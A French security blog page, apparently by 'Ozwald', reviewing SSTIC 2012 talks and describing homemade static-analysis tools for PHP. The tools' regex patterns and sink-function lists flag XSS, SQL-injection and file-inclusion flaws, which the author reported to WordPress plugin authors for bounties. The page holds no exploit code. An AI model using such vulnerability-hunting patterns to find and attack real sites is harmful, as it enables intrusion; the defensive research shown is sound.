Logo Blog perso d'Ozwald

SSTIC 2012 completed

Par Oz le - Sécurité
Botnet Chiffrement Conférence Forensic Outil Reverse Engineering SSTIC android barbu exploit kernel miasm

Et voilà, le SSTIC 2012 c'est fini depuis hier soir. Cette année nous avons eu droit à quelques conférences mémorables et à plusieurs évènements retentissants à tout niveau de l'actualité. Ci-dessous ce que je retiendrait :

SSTIC 2012 - miasm presentation by F.DESCLAUX - Creative Common by Ozwald

Jour 1

20 years of Pax : Pour débuter le SSTIC on attaque sur les chapeaux de roues avec une présentation en anglais par un speaker de prestige sur un sujet d'un haut niveau technique. Globalement sympa mais, perso, je dirai "sans plus" à caude de l'équation suivante : (speaker qui ne parle pas dans le micro + place au fond de l'amphi) + anglais + contenu très technique que je ne maitrise pas = pas tout suivi :-/

SSL/TLS: état des lieux et recommandations par Olivier Levillain : Conf sympathique (sans plus) qui fait un état des lieux sur SSL/TLS (comment c'est déployé, quelles options existent, quelles sont les différentes versions, etc.). Pas grand chose à apprendre mais une jolie remise à niveau quand même. Il parait que le papier (le plus gros de cette année avec plus de 40 pages) contient beaucoup plus d'informations sur les attaques possibles sur SSL/TLS (volet assez absent de la présentation). A relire à tête reposée donc :)

Netzob : un outil pour la rétro-conception de protocoles de communication par Frédéric Guihery, Georges Bossert, et Guillaume Hiet (absent à la présentation :( ) : La conf débute par le constat qu'à l'heure actuelle l'ingénierie inverse de protocoles de communication est pénible et manuelle, puis elle enchaine sur la présentation de l'outil "netzob" qui est censé faciliter la démarche. L'outil a l'air assez stable et donne bien envie d'être testé si l'occasion se présente. Pour la forme de la conf : Les slides étaient amusant mais la conf manquait peut-être un peu de rythme et en tout cas, 3 jours plus tard, elle me laisse un peu le même sentiment que la conf précédente : sympa (mais sans plus).

Sécurité de RDP par Arnaud EBALARD, Aurélien Bordes et Raphaël Rigo : J'attendais cette conférence qui ne m'a pas (trop) déçu. Comme pour SSL/TLS c'était une bonne remise à niveau sur l'état de l'art RDP. Il y avait un peu plus d'informations sur les attaques (ce qui n'est pas plus mal), par contre le symptome ANSSI était bien présent : les outils présentés lors de la conf ne sont pas disponibles.

WinRT par Kévin Szkudlapski et Sébastien Renaud : Les speakers ont présenté les fonctionnalité du runtime "WinRT" présent dans windows 8 et qui est à la base des applications compatibles avec la nouvelle interface graphique Metro. Intéressant si on veut développer des applications pour "Metro" mais à part ça...

L'information, capital immatériel de l'entreprise par garance mathias : c'était, là encore, une conférence que j'attendais de pied ferme (tout en conservant une petite crainte) et le verdict est sans appel : j'aurai préféré être ailleurs qu'à cette conférence. Le message de fond (celui que j'ai retenu en tout cas) n'a rien de nouveau et pourrait se résumer ainsi : "le droit français a des décennies de retard sur l'évolution technologique du monde et il n'y a actuellement pas de texte pour traiter proprement les problématiques liés à l'information, donc en cas de litige c'est le magistrat qui décide". Mais le plus ch*ant n'est pas tant qu'on n'avait pas grand chose à retirer de cette conférence, c'était plutôt la forme : élocution lente, pas de référence pratique, et un déploiement outrancier de techniques rhétoriques grosses comme des maisons (on a eu droit à une dizaine de "vous le savez bien", "vous l'avez compris", "vous en êtes bien conscient", et à une vingtaines de questions rhétoriques bidons dont le seul but semblait être de ralentir la présentation plutôt que d'introduire le paragraphe1 suivant). Bref : pas aimé.

Audit des permissions en environnement Active Directory par Géraud De Drouas et Pierre Capillon : Plusieurs idées très intéressantes dans cette présentation qui se penche sur l'audit offline des permissions qu'ont les objets d'un Active Directory afin de détecter une éventuelle compromission. On a droit à plusieurs exemples concret d'audits des permissions des utilisateurs dans un AD de taille "professionnelle", c'est sympa et pleins d'astuces. Petit bémol : passé la première moitié de la conférence les speakers ne présentaient quasiment plus que l'interface graphique de leur outil d'audit mais, syndrome ANSSI oblige, l'outil n'est pas disponible :-/

Windows 8 et la sécurité : un aperçu des nouvelles fonctionnalités par Bernard Ourghanlian : Présentation commerciale des fonctionnalités de sécurité de Windows 8. Pour tenter de résumer à l'arrache : boot sécurisé, TPM à gogo, et "carte à puce virtuelle" (celle là fait bien réver...). Ce qu'il faut retenir c'est surtout deux réponses aux questions de fin de conférences : "oui, un ordinateur certifié compatible Windows 8 pourra tout de même booter sur un autre OS malgré le boot sécurisé de bout en bout", et "faire tourner énormément de code pré-boot (anti-malware, longue chaine de boot sécurisé, etc.) dans un contexte ultra-privilégié (ce qui pourrait sembler à l'opposé de toutes les bonnes pratiques en terme de sécurité) ne pose pas de problème à Microsoft parce qu'il peuvent/vont prouver ce code mathématiquement2.

10 ans de SSTIC : très agréable présentation revenant sur l'histoire du SSTIC, sur les anecdotes les plus marquantes, les speakers les plus présents, etc.

Jour 2

Compromission d'une application bancaire JavaCard par attaque logicielle par Julien Lancia : Retour du speaker un an plus tard sur le même domaine mais avec une présentation bien différente. L'auteur explique cette année comment, en ayant les clefs permettant d'uploader du Java sur une Javacard bancaire, il est parvenu à totalement compromettre l'application bancaire présente de base. Très jolie présentation, même si les conditions de réalisation des attaques les rendent actuellement hautement délicate à mettre en oeuvre IRL. Petite remarque perso : ça me fait plaisir de voir, en 2012, que le monde Java se prend des vulnérabilité du type "j'accède à la mémoire au delà des limites normale de mon tableau et je l'écrase" et PAN dans tes dents langage pourri soit disant ultra-secure et portable :p.

IronHide: Plate-forme d'attaques par entrées-sorties par Fernand LONE SANG, Vincent Nicomette, et Yves Deswarte : Encore des revenants pour cette conférence. Ils présentent ici une plateforme matérielle permettant de lire et envoyer des trames PCI Express arbitraires (keylogger à la clef par exemple). Quelques vidéos de démonstrations d'attaques réelles. On est dans de l'étude de laboratoire, mais c'est sympa quand même, les speakers sont agréables à écouter, et les perspectives sont vastes :)

La qualité d'hébergeur en 2012 par Romain Beeckman : Comme quoi on pouvait faire une conférence orienté juridique au SSTIC 2012 sans être chiant. Le directeur juridique d'OVH explique clairement la notion "d'hébergeur" dans la Loi actuelle ainsi que les évolutions passées et potentiellement à venir de cette notion. On a des anecdotes concrètes démontrant bien les différents cas (hébergement mutualisé, dédibox, etc.) et un rythme normal sans artifice oratoire ou tour de manche. Bref : conf très agréable où aucune questions n'a été esquivée, que celà soit sur Megaupload ou sur Wikileaks.

Résultats du challenge par Axel Tillequin, Fabien Perigaud, et Florent Marceau (concepteurs du challenge) puis Julien Perrot (vainqueur du classement qualité) : Enorme claque. Forcément j'avais discutté du challenge avec quelques amis qui s'étaient penchés dessus avant cette conf et je savais donc un peu comment le challenge démarrait (réparation d'une partition ext, reverse d'un binaire elf/MIPS et analyse d'un algo dérivé de DES contenu dedans). Ce niveau d'avancement du challenge (que les gens avec qui j'avais discutté avaient mis entre une semaine et un mois à atteindre) a été dépassé en "un jour, un jour et demi" par le vainqueur (le reste lui ayant pris plus de deux semaines :D ). Je ne vais pas rentrer dans les détails que vous trouverez bien mieux expliqués sur le wiki du SSTIC mais, en gros, ça se termine par le flash du firmware d'une webcam USB pour faire tourner une VM sur son chipset CY16 afin de bruteforcer des softs embarqués dans l'efl/MIPS ce qui permet, finalement, de récupérer des bouts de clefs de chiffrement :-D Bref, pour citer Wayne's World, voilà à quoi quoi ça m'a fait penser d'être dans le même amphi que ces 4 personnes : "On mérite pas ! On est tout p'tits ! On est à chier !"

Présentation courte 1 Anthony Desnos présente deux outils (Elsim et Androguard) qui lui permettent, par mesure de similarité, d'identifier des reprises de code entre applications Android. Entre autres choses celà lui permet d'identifier les librairies de pub qu'on retrouve dans les jeux android. C'est amusant, ça semble efficace, et ça fait bien mal en mettant sous les yeux qu'on télécharge en très grandes quantité de la pub quand on télécharge certains jeux (de mémoire : plus d'un tiers du code d'Angry Bird c'est de la librairie publicitaire). Présentation vraiment agréable à suivre mais je soupçonne quand même l'auteur de nous avoir crapulé3 sur des petits détails. En effet les résultats bruts de ses mesures de similarité ressemblent à ça : "Dans tel jeu on retrouve 80% du code de cette librairie de pub, 20% de telle autre librairie de pub, et 90% de cette troisième" or l'auteur nous présente ensuite, sans transition, le découpage de jeux en pourcentage de code "propre", de code provenant de librairies de pub, et de code provenant d'autres librairies. Le "crapulage" c'est que ces dernières mesures ne peuvent être que des estimations issues de décisions arbitraires type "on retrouve 79% du code de cette librairie de pub, donc on va dire qu'elle est présente et pèse environ autant que si je la télécharge seule; on retrouve 33% du code de cette autre librairie de pub, on va donc supposer qu'elle n'est pas présente", du coup le découpage présenté au final n'est qu'issu d'une estimation dont la recette n'a pas été expliquée. M'enfin je chipote ^_^

Présentation courte 2 Davide Canali présente un projet de honeypot web grande échelle. Ils ont achetés 100 noms de domaine, ont créé 5 sous-domaine pour chacun, et mis à disposition à ces 500 urls plusieurs CMS vulnérables et webshells, ensuite ils monitorent le comportement des attaques :) Ils ont actuellement générés plus de 10Go de données, mais leur analyse est en cours. Bon teaser donc, mais rien à se mettre sous la dent tant que l'analyse n'a pas été faite :-(

Présentation courte 3 Pierre Karpman parle de durcissement de programmes C avec SIDAN. Perso j'ai eu un peu de mal à suivre la présentation et à comprendre ce que voulait faire l'auteur...de ce que j'ai suivi il instrumente du code C pour rajouter des vérification d'invariant entre un appel de fonction et son retour (pour détecter d'éventuelles attaques s'étant déroulée dans l'appel et ayant modifié des bouts de mémoire imprévu); m'enfin ça ne m'a pas plus convaincu que ça. J'espère qu'il y aura un petit papier publié pour que je relise tranquillement ce qu'il voulait faire.

Contrôle d’accès mandataire pour Windows 7 par Christian Toinard, Damien Gros et Jérémy Briffaut : En résumé des 20~30 premières minutes "on tente de porter SELinux sur Windows 7 (mais on n'y arrive pas totalement)". Devant une telle déviance j'ai décroché ^_^

Expert judiciaire en informatique par Zythom : S'étant fait pwner le matin même son blog, et son compte twitter ( + on soupçonnait à ce moment là que le compte mail y était passé aussi) Zythom fait tout de même sa présentation, chapeau ! D'ailleurs il n'y avait pas à s'y tromper : c'est avant qu'il ne commence sa conférence qu'est parti le premier tonnerre d'applaudissement unanime de la salle. Pour le contenu on a eu droit à une petite explication de son piratage puis à la conférence telle qu'elle avait été prévue initialement. Ca parle des sujets qu'on retrouve sur le blog, mais en live : Qu'est ce qu'un expert judiciaire, comment on le devient, comment on le reste, quelques exemples de missions et des contextes dans lesquels elles se déroulent. On a également eu le droit à une liste des outils qu'il utilise, le tout ponctué de nombreux traits d'humour tout au long de la conf dispensée avec beaucoup d'humilité. Bref : conférence très agréable, et plus qu'impressionante quand on considère le contexte ! Monsieur Zythom vous avez tout mon respect4

Forensics iOS par Jean Sigwald et Jean-Baptiste Bédrune : On commence par un panorama complet des méthodes d'acquisition d'un dump mémoire d'un iOS avec leurs avantages et inconvénients respectifs (nécessité du code pin ou non, modification de la mémoire lors du dump ou non, etc.) puis on enchaine avec l'utilisation du chiffrement omniprésent dans iOS. Impression d'un prophane : c'est touffu et ça chiffre de partout mais les bougres arrivent quand même à déchiffrer tout ce qu'ils veulent étape par étape. Présentation d'un haut niveau technique, sur un sujet complexe, avec une démo, et réalisée par des spécialites du domaine, mais j'ai trouvé que c'était quand même un poil difficile à digérer.

Rump session : Super passage que ces rumps sessions ! On a eu du très très très bon mais également le petit plaisir sadique d'applaudir un présentateur plus de 30s avant la fin théorique de son temps5. Dans les mémorables on a Biondi qui, lui, a explosé son compteur de temps en présentant les pipes dans scappy et qui s'offre un magnifique "c'est dans scappy depuis un an" lorsqu'un membre de l'assistance lui demande si c'est disponible :D

Jour 3

Source Address Validation Improvements (SAVI) par Jean-Michel Combes et Maryline Laurent : je l'ai raté, social event oblige ^_^

Utilisation malveillante des suivis de connexions par Eric Leblond : Très bonne présentation de l'implémentation du suivi de connexions dans netfilter (permettant de gérer "proprement" les protocoles ouvrant dynamiquement d'autres canaux de communication, type FTP, IRC, ou SIP). Et le plat de résistance : un outil qui permet d'abuser ces fonctions pour ouvrir des trous dans les implémentations vulnérables (sous réserve que vous partagiez sur le même réseau ethernet que le FW cible, que le FW cible soit vulnérable, et que le serveur ciblé propose légitimement un protocol adéquat via le FW). Je reste impressionné que de tels bugs existent encore en 2012, mais c'est comme ça :) La présentation était en tout cas très bien, et l'auteur se paie le luxe de commiter son outil en live pour anticiper la question "est-ce-que le code est disponible ?", joli show :) !

Influence des bonnes pratiques sur les incidents BGP par Francois Contat, Guillaume Valadon et Sarah Nataf : Présentation à trois voix très bien menées pour ceux qui, comme moi, n'y connaissent rien en BGP. On nous explique ce que c'est, comment c'est utilisé pour soutenir internet entre les "grand acteurs de routage" possédant leur AS, quelles sont les bonnes pratiques, et comment ces bonnes pratiques répondent (ou auraient pu répondre) à des incidents (exemples concrets et réels à l'appui). Décidément cette troisième journée commence par deux très bonnes présentations, c'est bien parti pour être la meilleure journée du SSTIC :) !

Présentation courte 1 Clément Lecigne présente netusse. C'est un outil de fuzzing des implémentation socket ayant pour but de débusquer du 0day kernel. Le tool a commencé il y a plusieurs années lors d'un Google Summer of Code puis Clément l'a poursuivi. Après avoir présenté l'outil on passe à la dissection d'un bug kernel découvert sur FreeBSD puis sur l'impressionante explication du code d'exploitation. C'est d'un très haut niveau pourtant le speaker donne l'impression d'être aussi à l'aise que s'il était en train de faire une rump expliquant la recette de la pate à crèpe o_O ! En espérant le revoir en présentation longue l'an prochain :) !

Présentation courte 2 Étienne Millon nous parle de sa passion : l'analyse statique de code. Présentation vraiment sympa et qui s'enchainait bien avec la précédente. Clairement il y a des limitations à son outil qui demande encore pas mal d'aide manuelle, mais ça fonctionne et ça trouve du bug.

Présentation courte 3 Ronan Mouchoux nous parle de détection de nom de domaine "bizarre". Le concept de base c'est qu'un botnet doit contacter son C&C et que, souvent, les noms de domaine utilisés par les botnet sautent aux yeux des humains comme n'étant "pas normal" ("asbguocezbgiudzeujopnryeuocnbyo.ru", ce n'est pas "normal" :-D). Le principe de détection s'appuie sur 4 moteurs distincts (dont seulement 2 sont codés à l'heure actuelle) afin d'augmenter le taux de détection sans monter le taux de faux positifs grace à la diversification fonctionnelle6. Cette présentation ne m'a malheureusement pas convaincu; d'une part parce que les 4 outils présentés avaient l'air "relativement" simples mais que seulement deux avaient été codés (du coup on se demande un peu s'il n'a pas commencé ses recherches la veille ?), et d'autre part parce que le concept même est potentiellement bancal (l'auteur reconnait lui-même ne pas être capable de détecter des dns type "concaténation de plusieurs vrais mots" comme ceux qui sont utilisés par les tout derniers botnets, et qu'en plus il remonte des faux positifs avec les sous-domaines légitimes mais funkys type "grosrandom.updates.sitelegitime.com"). Bref pour moi l'idée est très intéressante mais c'est un truc à coder en une semaine grand max et dont l'utilité reste conditionnée par la confidentialité des méthodes de notation utilisées7.

Successes (and limitations) of (static) binary analysis par Halvar Flake : Du lourd ! Un grand monsieur qui nous explique, en anglais, les obstacles qui restent à surmonter dans le domaine de l'analyse statique de code. Les exemples sont clairements expliqués et s'appuient sur de vrais vulnérabilités. Bref la conférence est très bonnes et ça suffit ça tenir éveillé malgré le coup de barre post-social-event :)

Miasm: Framework de reverse engineering par Fabrice Desclaux : J'attendais impatiemment cette conférence et cette fois je n'ai pas été déçu ! Je pèse mes mots en disant que cette conférence était exceptionnelle. L'auteur était à 200% mais restait compréhensible (ce qui n'est vraiment pas simple quand on parle aussi vite) du coup l'audience s'est pris un torrent sans interruption d'informations ultra pointue et de blagues mélangées tout au long de la conférence. Du très très très lourd qui aurait mérité une standing ovation. On a eu droit à la présentation "torchée"8 de l'architecture du framework python d'ingénierie inverse smiasm composé de miasm, grandalf, et elfesteem. Ensuite on a une présentation du langage intermédiaire utilisé par miasm qui permet de s'abstraire du matériel sous-jacent, et tout au long de la présentation on est accompagné par des exemples de-la-vraie-vie type exécution symbolique9 identification de gadgets pour ROP, désobfuscation, etc. Vraiment ZE conf de ce SSTIC 2012.

Rétroconception et débogage d'un baseband Qualcomm par Guillaume DELUGRE : Pas de chance pour cet orateur, il passe après Fabrice DESCLAUX. Le rythme est plus posé, mais en comparaison il apparait carrément lent :-/ Le contenu est néanmoins intéressant avec l'activation des canaux de communication série prévue pour débuggage dans une clef 3G qualcomm, l'utilisation de ce canal pour dumper l'ensemble du firmware, puis son analyse par ingénierie inverse. L'impression que j'en garde c'est que le firmware est assez "crado" (pour citer le speaker) et qu'il y a donc potentiellement pas mal de choses à aller regarder par là...

Protéger et défendre le cyberespace militaire : la démarche nationale par le contre-amiral Arnaud COUSTILLIERE : le premier élément qui saute aux yeux ce sont les slides, clairement issus d'un windows 95 ou antérieur. Les couleurs sont criardes, les images déformées, et les schémas semblent tout droit issus des bouquins d'enseignements de la biologie des années 90. M'enfin on va passer outre ^^ Concernant le fond du discours c'est une présentation sur la stratégie de défense informatiquecyber mise en place au niveau étatique. Dommage qu'il n'ai justement parlé que d'organisation de la défense et qu'il ai esquivé les questions offensives lors de la séance de questions10.

Conclusion : je dirai que ce SSTIC était moyen jusqu'à l'entame de la troisième journée qui a remonté le niveau pour rendre cette édition mémorable. Je rentre de Rennes avec des heures de sommeils de retard, trois grammes dans chaque bras, mais également PLEINS d'idées de nouveaux terrains de jeux à explorer. Et puis si jamais je présente à nouveau au SSTIC un jour j'essaierai de garder à l'esprit qu'une conférence peut avoir un contenu techniquement super mais ne pas décoller du "mouaif" dans le ressenti du public si le speaker n'est pas à 200%.


PINGBACK : Ma petite parcelle d'Internet... le 2012/06/17 12:53

SSTIC 2012, en résumé...

Un dernier petit billet pour clore le chapitre de cette dixième édition du SSTIC......

  1. et je dit bien "paragraphe", pas "idée"
  2. Celle là c'est quand même ma citation préférée du SSTIC Q:"ça ne vous semble pas à l'opposé de toutes les bonnes pratiques?" R:"Et si on le prouve mathématiquement le code ?!" ...mais oui bien sur :-D
  3. j'aime décidément cette expression
  4. Et j'ai eu l'honneur de lui serrer la main en plus ! Youhouuuuuu !!! Même si pour ça je l'ai intercepté un peu comme un goujat alors qu'il quittait le social event (probablement pour la rue St Michel). Si vous me lisez un jour : désolé :-/
  5. En même temps c'est un peu gonflé de commencer une rump SSTIC par "ça c'est une photo des produits qu'on vend" puis d'enchainer 2mn plus tard par "le code est libre mais on a tout fait pour que vous ne puissiez pas l'utiliser sans nous acheter de prestation de toute façon"
  6. Même si ça reste à prouver sérieusement...
  7. Et encore...on pourrait pousser la mise à mort en s'interrogeant comment son outil va être utile pour les botnets qui utilisent des C&C alternatifs type Skype, Facebook, pastebin, etc.
  8. Mais super bien torchée !
  9. Quote : "là je suis en train de vous expliquer que j'ai recodé qemu"
  10. Parce que répondre "attaquer c'est illégal donc on ne fait pas" c'est au mieux pas crédible du tout et au pire inquiétant à la lumière de Flame/STUXNET/etc.

Du capitalisme

Par Oz le - Sécurité
Bounty Outil PHC PHP Vulnérabilité code source exploit

L’Académie française propose une définition simple du capitalisme : le capitalisme est un « régime économique dans lequel les moyens de production sont propriété privée ». Dans la pratique, il est patent que le terme est loin d'être doté d'une acception consensuelle. D'où l'existence de nombreuses significations différentes, dont une se basant sur la mécanique d'accumulation du capital comme facteur de production.1

Billets de monopoly - Creative Common by graciepoo on Flickr

Dans l'acceptation du "capitalisme" telle qu'ébauchée en introdution de ce billet "l'accumulation du capital comme facteur de production" est l'un des fondamentaux, et en ce sens je suis un capitaliste de l'informatique. Cette réflexion m'est venu il y a déjà pas mal de temps en lisant une présentation (dont j'ai malheureusement oublié les références :( ) sur la façon de faire efficacement du fuzzing. Dans cette présentation il y avait un slide expliquant qu'écrire un fuzzer évolué n'était pas une bonne façon de faire du fuzzing, mais que la bonne façon de faire du fuzzing c'était d'écrire un fuzzer évolué pendant qu'un fuzzer écrit en 30s tournait. Ainsi, lorsque je me suis finalement mis à jouer un peu sérieusement avec de l'audit de code statique (environ un an après mes premiers tests dans le domaine) j'ai appliqué cette stratégie. Ce sont les premiers résultats de ces recherches que je vais relater dans ce billet.

Les outils

Adhérant totalement à la philosophie du "je travaille sur un bon outil pendant qu'un outil pourri que j'ai écrit en 10mn est déjà en train de tourner" j'ai donc commencé à analyser du code source PHP avec une dizaine de lignes de python qui se contentaient de :

  • Télécharger un projet PHP sur sourceforge/drupal/wordpress
  • Décompresser l'archive du projet
  • Faire l'équivalent d'un grep sur l'ensemble des fichiers PHP contenus dans l'archive
  • Effacer le repertoire temporaire dans lequel j'avais téléchargé et décompressé l'archive (ça a l'air con mais vu la simplicité du projet une fonctionnalité, même aussi triviale, compte).

Voilà quelques exemples des expressions régulières que ce mini script cherche:

  • (XSS) .*echo .*$_GET.*
  • (XSS) .*echo .*$_POST.*
  • (XSS) .*echo .*$_REQUEST.*
  • (SQLi) .*SELECT .* FROM .* WHERE .* $_GET.*
  • (SQLi) .*SELECT .* FROM .* WHERE .* $_POST.*
  • (SQLi) .*SELECT .* FROM .* WHERE .* $_REQUEST.*
  • ([LR]FI) .*require($_GET.*
  • ...

Bref, cette première version était vraiment très rustique et pourrait être re-codé 100% en bash à coup de wget, unzip, et grep.

Pendant que cette première version tournait je me suis penché sur l'utilisation de PHC. L'idée est de réaliser ce dont je parlais dans mon vieux billet, à savoir d'utiliser PHC pour convertir le code source PHP en une représentation plus simple, et de réaliser une analyse par propagation de teinte sur cette représentation simplifiée. PHC propose 3 représentations intermédiaires, la plus simple d'entre elle étant la "MIR" c'est celle-ci que j'ai choisi (au format texte brute plutôt qu'XML) : phc --dump=mir mon_fichier.php

Une fois mes fichiers PHP convertit en représentations "MIR" je parse le texte résultant pour en extraire des blocs de codes, chacun portant une étiquette utilisée par la représentation MIR pour d'éventuels GOTO, puis je débute ma simulation de propagation de teinte par la première ligne du premier bloc. A chaque assignation de variable rencontrée :

  • j'enregistre son nom dans un dictionnaire
  • je lui associe une valeur de teinte (si la variable se voit attribuée une constante la teinte est nulle, si elle se voit attribuée une variable de type $_GET[...] elle obtient une valeur de 1, si elle se voit attribuée la concaténation de deux autres variables sa teinte est la somme des teintes des variables concaténées, etc.)
  • je lui attribue une représentation (si son assignation est une constante je la reprend comme représentation, si son assignation est une variable sensible type $_GET[...] j'utilise ça, si on lui assigne la concaténation de variables je lui attribue la concaténation des représentation des variables concaténées, etc.)

Lorsqu'une fonction est appelée je regarde si son nom apparait dans l'une des listes de "fonctions sensibles" que j'ai hardcodé2 et si tel est le cas je vérifie la teinte de la variable utilisée en argument. Si la teinte n'est pas nulle je lève une alerte en spécifiant la valeur de teinte utilisée, la représentation de la variable incriminée, et la famille de la fonction sensible (XSS, SQLi, [RL]Fi, PHPi).

Ce deuxième outil, bien qu'encore extrèmement rustique (246 lignes de python (199 sans les commentaires)), est sensiblement plus efficace que mon grossier "grep-like", comme nous allons voir tout de suite.

Les résultats

Ecrire un outil d'analyse de code c'est bien, mais encore faut-il avoir du code à analyser (et taper aléatoirement dans sourceforge c'est amusant deux secondes mais ça lasse vite) ! C'est donc en me demandant ce que j'allais bien pouvoir analyser que je me suis souvenu de cette liste de "bounty programs", et en particulier du dernier programme listé : celui de White Fir Design. Cette entreprise américaine, que je vous invite à découvrir, propose plusieurs bounty programs sur des logiciels open source dont un sur Wordpress et ses plugins téléchargés à plus d'un million d'exemplaires. C'est donc sur cette cible que j'ai testé mes deux outils d'analyse de code.

Pendant que j'écrivais mon outil de propagation de teinte basé sur PHC le premier script (grep-like) a relevé un nombre important d'alertes. C'est là que l'un des gros défaut de cette approche se fait sentir : il y a énormément de faux positifs. Par exemple la ligne suivante, bien que n'étant absolument pas vulnérable à quoi que ce soit, remonte à chaque itération de mon script comme un XSS potentiel :

echo(isset($_GET['session']) ? '?session=1' : '');

Malgré ces faux positifs j'ai tout de même réussi à confirmer quelques vulnérabilités de type XSS dans des pages d'admins de plugins téléchargés à plus d'un million d'exemplaire, et j'ai donc eu la double joie de toucher un petit bounty3 tout en ayant le sentiment d'avoir rendu internet un peu plus sûr (tout ça avec grep...).

Une fois mon script d'analyse par propagation de teinte terminé je l'ai relancé sur le même périmètre et, après quelques réglages, j'ai eu le plaisir de voir qu'il parvenait à identifier l'ensemble des XSS que mon grep-like avait trouvé et que j'avais confirmé. Non seulement il obtient donc d'aussi bon résultats mais, en plus, le nombre de faux positif est nettement plus faible (la majorité de ceux qui restent sont dus à la non-prise en charge des fonctions de "sanitize-check" type preg_match...il faudra que je rajoute le support de ces vérifications à l'occasion). Enfin, cerise sur le gateau, la version par propagation de teinte a réussi à lever un lièvre que le "grep-like" n'aurai pas pu avoir (parce que plusieurs lignes de code étaient impliquées) : une jolie time-based-blind-SQLi.

En guise de conclusion sauvage qu'est-ce-qu'il y a à retirer de tout ça ?

  • que l'analyse statique de code, même dans ses versions les plus rustiques (grep) peut encore être utile de nos jours.
  • que l'approche consistant à faire tourner un outil pourri pendant que l'on travaille à la fabrication d'outils plus évolué est une bonne approche (en tout cas moi je l'aime bien, elle me donne l'impression que mon temps CPU est utile et, en remontant des résultats de temps en temps, elle me garde motivée sur le codage des outils performants et prépare les cas de tests sur lesquels on pourra tester les outils performants :) ).
  • que l'équipe de White Fir Design est impressionante (ces gars donnent de l'argent pour aider à sécuriser des logiciels dont ils ne retirent qu'indirectement profit, moi je trouve ça fort !)
  • que les développeurs de plugins Wordpress sont généralement très sympa (j'ai eu à chaque fois des retours très cools de leur part)
  • que le code de Drupal est plus sécurisé que celui de Wordpress (ou que mes outils lui sont moins adaptés et/ou que j'ai eu moins de chance avec Drupal qu'avec Wordpress).

Gorgonite le 2012/01/23 20:08

Salut Ozwald,

1) un grep simple est a priori une analyse, certes statique, mais surtout purement syntaxique... là où la propagation de teinte est une analyse statique sémantique

2) le problème des faux positifs vient des abstractions (dans ton cas, généraliser une erreur pour ne pas avoir à traiter 36 cas...) par ailleurs, il faudrait vérifier la sûreté de ton analyse, seule propriété pouvant assurer l'absence de faux négatifs (en gros, Coverity vs Polyspace)

3) enfin, il faut aussi parfois faire attention à la complexité spatiale des analyses,

4) parfois aussi prévoir des analyses par point fixe (voire accélérateurs de convergence, élargissement, etc). As-tu des bases en interprétation abstraite ?

Au passage, as-tu jeté un coup d'oeil sur Phantm ?

https://github.com/colder/phantm

http://infoscience.epfl.ch/record/1...

Gorgonite le 2012/01/24 20:44

un petit lien sur l'analyse statique sérieuse sur des codes de taille un peu réaliste ^^

bon ok, c'est Microsoft Research, mais c'est bien illustré je trouve
http://www.immunityinc.com/download...

Bonjour666 le 2013/07/14 23:35

Salut,
Je suis en terminale S et j'aimerais bien comprendre + qu'un mot de ton article :) Donc pourrais-tu résumer en gros le but de ce que tu as fais ?

Ozwald le 2013/07/18 18:17

En gros ça donne ça : Le but c'est d'identifier, dans du code source, des erreurs de programmation menant à des vulnérabilité de type "injection de code" (que cela soit du code HTML/Javascript, SQL, ou PHP). Concrètement, cette recherche d'erreur est réalisée en simulant l'exécution du programme tout en propageant une teinte.

Pour simuler l'exécution du programme facilement j'utilise PHC qui me traduit le code PHP en quelque chose de BEAUCOUP plus simple à lire (i.e. la représentation "MIR", spécifique à PHC; mais j'aurai pu également utiliser une représentation AST, plus commune : http://en.wikipedia.org/wiki/Abstra... ).

Et pour la propagation de teinte, tu en as les bases expliquées dans la présentation "Dynamic Taint Propagation: Finding Vulnerabilities Without Attacking" réalisée à la Blackhat DC 2008 ( https://www.blackhat.com/html/bh-dc... ).

Si quelque chose t'échape encore n'hésite pas à demander ;)

  1. Toute l'intro est largement pompée de : http://fr.wikipedia.org/wiki/Capitalisme
  2. print,->get_var,->get_results, ->query, mysql_query, require, require_once, include, eval
  3. Bounty immédiatement dépensé sur eBay en composants électroniques divers et variés pour mon arduino

Brèves estivales

Par Oz le - Informatique
EXIF dionaea exploit python

Encore un mini-billet un peu fourre-tout, avec même quelques lignes qui ne parlent pas d'informatique ;) !

Souk - Creative Common by "lapin.lapin" on Flickr

Attaque informatique

Après l'exploitation automatique des stack overflow les gars de l'esec ont enchainés avec l'automatisation d'exploitation de format string. Python-ptrace ne gérant pas (encore ?) les symboles je ne peux pas copier leur démarche directement cette fois :( Si jamais je trouve du temps pour réfléchir à tout ça peut être que je trouverai une autre méthode élégante d'exploiter des format string automatiquement, mais ça n'est pas gagné. En tout cas l'excellent papier qu'ils citent dans leur article m'aura permis de clarifier ma compréhension de ce type d'attaque, et je vous en conseille vivement la lecture si, comme moi il y a deux semaines, vous pensez qu'un format string ne peut pas mener directement à de l'exécution de code.

Oracle1

J'en parlais il y a quelques mois, aujourd'hui les tag EXIF sont vraiment à la mode. Certains réussissent même à en faire des conférences2...

L'extension python du moment

Je joue pas mal avec pefile ces temps-ci. Il y a pleins de choses à faire avec ce petit module python qui permet de jouer avec les fichiers exécutables windows (format PE en fait). Surtout quand on a la sécurité informatique en tête (pensez analyse de virus infectant des PE, pensez unpacker, etc.).

Divers

Découverte intéressante sur le blog de Sid aujourd'hui, et pour une fois ça n'est pas de la sécurité informatique : l'existence des bonnettes. Je connaissais déjà des filtres divers et variés (UV, polarisant, de couleur, etc.) que l'on pouvait visser au bout de son objectif, mais je ne connaissais pas les lentilles macro sous ce format là ! Étant donné que j'ai un bridge et que j'aimerai bien faire des macros de mes plantes carnivores je pense que je vais sérieusement me pencher sur la question...merci Sid !


newsoft le 2010/09/09 21:26

"si, comme moi il y a deux semaines, vous pensez qu'un format string ne peut pas mener directement à de l'exécution de code."

Tu as séché les TP à l'école ? ;)

Ozwald le 2010/09/14 21:12

Jamais séché un TP d'informatique à l'école, mais à l'époque on n'y faisait pas de format string (ou alors c'était un lendemain de cuite et j'ai soit oublié le contenu du TP soit oublié l'avoir séché :-D ...mais franchement ça m'étonnerait).

  1. Non je ne parle pas de l'entreprise, et oui c'est une boutade ;-)
  2. Oui, je suis jaloux :p

Saine émulation

Par Oz le - Sécurité
Hack Linux exploit python

J'ai récemment assisté à mon premier SSTIC1 et lors de l'une ou de l'autre des conférences l'outil Metasm a attiré mon attention. Deux jours après être rentré du SSTIC je tombe sur un alléchant article d'un gars de SOGETI qui parle justement de Metasm. Je dévore l'article en question2 (qui consiste, en gros, à écrire un script de génération automatique d'exploit pour stack overflow en partant d'une appli vulnérable...miam) et une fois l'article fini une question s'impose à moi : Tout leur (joli) travail est en ruby3 ...saurais-je les copier en python ?!

